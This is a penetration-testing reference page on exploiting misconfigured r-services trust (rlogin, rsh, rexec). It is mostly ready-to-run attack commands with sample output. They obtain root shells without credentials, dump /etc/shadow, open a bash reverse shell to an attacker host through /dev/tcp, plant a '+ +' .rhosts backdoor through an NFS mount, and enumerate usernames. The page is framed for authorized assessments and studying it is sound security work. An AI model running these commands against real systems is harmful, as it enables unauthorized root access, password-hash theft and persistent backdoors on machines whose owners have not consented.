# R-Services Exploitation

- **URL:** https://hackindex.io/services/r-services/exploitation/r-services-exploitation
- **Path:** r-services > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/r-services/exploitation.md)
- **Published:** 2026-03-30
- **Updated:** 2026-03-30

R-services exploitation uses the trust configuration confirmed in [trust misconfiguration assessment](https://hackindex.io/services/r-services/vulnerability-discovery/r-services-trust-misconfiguration) to obtain a shell without credentials. When `+ +` or a broad host entry is in `hosts.equiv` or `.rhosts`, rsh and rlogin accept connections from your Kali machine without any authentication. The attack is trivial: the hard part is the prerequisite of reading the trust file, which usually comes from NFS, LFI, or another read path.

- rlogin: Get Interactive Shell
- rsh: Non-Interactive Command Execution
- rexec: Command Execution with Credentials
- Plant .rhosts for Persistence
- Username Enumeration via Response Differences

## rlogin: Get Interactive Shell

When trust is confirmed, rlogin gives a full interactive shell. Try root first:

```bash
sudo rlogin -l root $TARGET_IP
# Last login: Mon Mar 28 12:00:00 2026 from 10.10.14.5
# root@target:~# id
# uid=0(root) gid=0(root) groups=0(root)
```

```bash
sudo rlogin -l $USER $TARGET_IP
```

If root does not work but a regular user does, check whether the user has sudo rights or other privilege escalation paths after landing the shell.

## rsh: Non-Interactive Command Execution

rsh executes a single command and returns the output. Useful for quick enumeration without a full interactive shell:

```bash
sudo rsh -l root $TARGET_IP id
# uid=0(root) gid=0(root) groups=0(root)
```

```bash
sudo rsh -l root $TARGET_IP 'cat /etc/shadow'
# root:$6$abc123$hashhere:18000:0:99999:7:::
```

```bash
sudo rsh -l root $TARGET_IP 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'
```

## rexec: Command Execution with Credentials

rexec (port 512) accepts explicit credentials rather than using trust files. Use it when credentials are available but rsh/rlogin trust is not configured:

```bash
rexec $TARGET_IP -l $USER -p $PASSWORD id
# uid=1000(user) gid=1000(user) groups=1000(user)
```

rexec transmits credentials in plaintext: the password is visible on the network. This makes it both a credential exposure risk and an easy target for interception.

## Plant .rhosts for Persistence

When you have write access to a home directory via NFS or another vector, plant a .rhosts file to enable future passwordless access:

```bash
# Via NFS write access to /root
mkdir /tmp/nfs_root && mount -t nfs $TARGET_IP:/root /tmp/nfs_root -o nolock
echo '+ +' > /tmp/nfs_root/.rhosts
chmod 600 /tmp/nfs_root/.rhosts
umount /tmp/nfs_root
```

```bash
sudo rlogin -l root $TARGET_IP
# root@target:~#
```

> [!CAUTION]
> Document any .rhosts files planted during assessment. Remove them immediately after obtaining the shell and confirming access. Persistent backdoor files must be cleaned up before engagement close.

## Username Enumeration via Response Differences

When trust is not fully open, different accounts produce different error responses. Use this to build a valid username list:

```bash
for user in root admin user alice bob www-data service; do echo -n "$user: "; sudo rsh -l $user $TARGET_IP id 2>&1 | head -1; done
# root: uid=0(root) gid=0(root)
# admin: Permission denied.
# alice: uid=1001(alice) gid=1001(alice)
# bob: Login incorrect.
# www-data: Permission denied.
```

## References

- [rsh(1) manual](https://man7.org/linux/man-pages/man1/rsh.1.html) - rsh command syntax and trust-based authentication behavior
- [hosts.equiv(5) manual](https://man7.org/linux/man-pages/man5/hosts.equiv.5.html) - Trust file format reference for system-wide and per-user configuration